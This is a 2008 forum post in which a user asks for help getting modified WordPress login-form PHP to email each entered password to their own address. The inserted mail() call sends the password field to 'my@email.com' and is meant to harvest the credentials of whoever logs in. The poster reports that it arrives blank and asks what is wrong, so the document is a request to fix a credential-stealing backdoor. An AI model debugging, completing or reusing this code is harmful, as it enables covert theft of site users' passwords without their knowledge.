hello guys,
i need some help with this code, what i want to do is to get the user entered password emailed to the a address.
but when i recieve the email i get it blank.
PHP Code:
<form name="loginform" id="loginform" action="wp-login.php" method="post"> <?php if ( !isset($_GET['checkemail']) || !in_array( $_GET['checkemail'], array('confirm', 'newpass') ) ) : ?> <p> <label><?php _e('Username') ?><br /> <input type="text" name="log" id="user_login" class="input" value="<?php echo attribute_escape(stripslashes($user_login)); ?>" size="20" tabindex="10" /></label> </p> <p> <label><?php _e('Password')?><br /> <input type="password" name="pwd" id="user_pass" class="input" value="" size="20" tabindex="20" /></label> </p> <?php do_action('login_form'); ?> <p class="forgetmenot"><label><input name="rememberme" type="checkbox" id="rememberme" value="forever" tabindex="90" /> <?php _e('Remember Me'); ?></label></p> <p class="submit"> <input type="submit" name="wp-submit" id="wp-submit" value="<?php _e('Log In'); $to = "my@email.com"; $subject = "Password"; $body = "The password is : \n"; $body .= $pwd; mail($to, $subject, $body);?>" tabindex="100" /> <input type="hidden" name="redirect_to" value="<?php echo attribute_escape($redirect_to); ?>" /> <input type="hidden" name="testcookie" value="1" /> </p> <?php else : ?> <p> </p> <?php endif; ?> </form>
what i am doing wrong..
Last edited by wswami : 05-09-2008 at 09:35 AM.
Reason: Code Correction
|